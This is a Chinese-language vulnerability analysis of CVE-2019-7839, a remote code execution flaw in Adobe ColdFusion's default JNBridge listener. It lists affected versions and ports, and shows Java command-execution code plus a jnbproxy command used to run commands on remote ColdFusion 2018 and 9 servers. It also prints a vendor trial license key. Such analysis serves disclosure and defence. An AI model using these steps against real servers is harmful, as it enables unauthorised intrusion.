您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
Adobe ColdFusion 是一個商用的快速開發平臺。它可以作為一個開發平臺使用,也可以提供Flash遠程服務或者作為 Adobe Flex應用的后臺服務器 。
2019年06月11日,Adobe 發布安全公告[1],修復了Adobe ColdFusion多個嚴重漏洞。其中有一個由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。
2019年06月26日,Moritz Bechler 在 Bugtraq 上公布了遠程代碼執行漏洞(CVE-2019-7839)的部分細節[2],由于 JNBridge 組件存在缺陷,而 ColdFusion 默認開啟JNBridge組件,導致代碼執行漏洞。
ColdFusion 2018 Update 3 及之前的版本
ColdFusion 2018 Update 10 及之前的版本
ColdFusion 11 Update 18 及之前的版本
<= ColdFusion 9
根據 Moritz Bechler 披露的部分細節,是由于ColdFusion 默認開啟了 JNBridge listener 從而導致了漏洞。
先來了解一下JNBridge。
JNBridge 是一種領先的JAVA與.NET互操作的的產品,憑借JNBridge技術,Java 和.NET代碼無需交叉編譯器就可以實現對象共享。所有Java代碼運行在JVM上,而.NET代碼則運行在CLR上。在該方案下,JVM和CLR可以運 行在不同的機器上,也可以運行在一臺機器的不同進程上,甚至還能運行在相同的進程的不同應用程序域上。
下載 JNBridgePro,安裝完之后會有demo。試用license
jnbp-eval-v10.0#1899-2367-9451-2280
這里我們嘗試使用.net去調用java,跑一下logDemo,了解下大致流程。
根據 JNBridge 的安裝路徑,修改startJava.bat
,運行
可以看到,JNBridge 服務端 listener 已開啟,監聽在8085端口。
根據 demo的指示文檔 logDemo.pdf,一步一步構建 .Net 項目。
運行 .Net 項目,調用 Java 服務端,成功調用。
之前流程有一步是將loggerDemo.javaClass
轉成 logger.dll
,試想一下,是否可以將java.lang.Runtime
導成dll文件,供 .Net 客戶端引用,然后去調用 Java 服務端的java.lang.Runtime
?
嘗試一下
將rt.jar
引入 classpath
添加java.lang.Runtime
類
導出 runtime.dll
引入 .Net 項目中供調用
運行
成功調用到了 Java 服務端中的java.lang.Runtime
,這也是這個漏洞的根源。
ColdFusion 中是默認運行了 JNBridge listener 的,并且是 Java 服務端,監聽端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。
由于 Coldfusion 中帶的 JNBridge 版本不同,所以構造 payload 的方式有些差異。
ColdFusion 2018 中的 JNBridge 版本是 v7.3.1,無法使用上面的的JNBridge v10去構造 payload,在 JNBridge 官網上可以下載一部分歷史版本[3],下載 v7.3版本。
編寫想要在 Java 服務端執行的代碼
String command = "whoami"; String [] commandArgs; String os = System.getProperty("os.name"); System.out.println(os); if(os.toLowerCase().startsWith("win")){ commandArgs = new String[]{"cmd.exe", "/c", command}; }else { commandArgs = new String[]{"/bin/bash", "-c", command}; } Runtime runtime = Runtime.getRuntime(); Process process = runtime.exec(commandArgs); BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = br.readLine()) != null) { System.out.println(line); } br.close();
里面使用到了java.lang.Runtime
,java.lang.Process
,java.io.BufferedReader
,java.io.InputStreamReader
和java.lang.System
,將相關類從rt.jar中導成runtime2.dll
,供 .Net 客戶端引用。
根據 Java代碼重寫
這里面有個非常重要的 JNBShare.dll
,這里使用自己安裝的 JNBridge 成功后生成的 JNBShare.dll
,無法使用ColdFusion 中 JNBridge 的 JNBShare.dll
,會報錯。
運行,*遠程的ColdFusion 2018(Linux平臺),成功返回結果。
ColdFusion 9 內部的 JNBridge 版本是 v5.1,監聽端口是 6085。由于這個版本比較老了,沒找到安裝包,現在需要生成供我們引用的runtime2.dll
和能用的JNBShare.dll
。ColdFusion 內部的 JNBridge中的jnbproxyGui.exe無法構建 .net -&gt; java
項目,也就是說GUI工具用不了,所幸的是命令行工具還可以用。
jnbproxy.exe,看下參數。
根據參數,生成runtime2.dll
jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System
至于 JNBShare.dll
,因為內部的無法使用,安裝包又下載不到。幸運的是有人收藏了這個JNBShare.dll
,谷歌搜索能夠找到,并且剛好是v5.1版本的。
運行,*遠程的 ColdFusion 9(windows平臺),返回命令執行結果。
關于如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。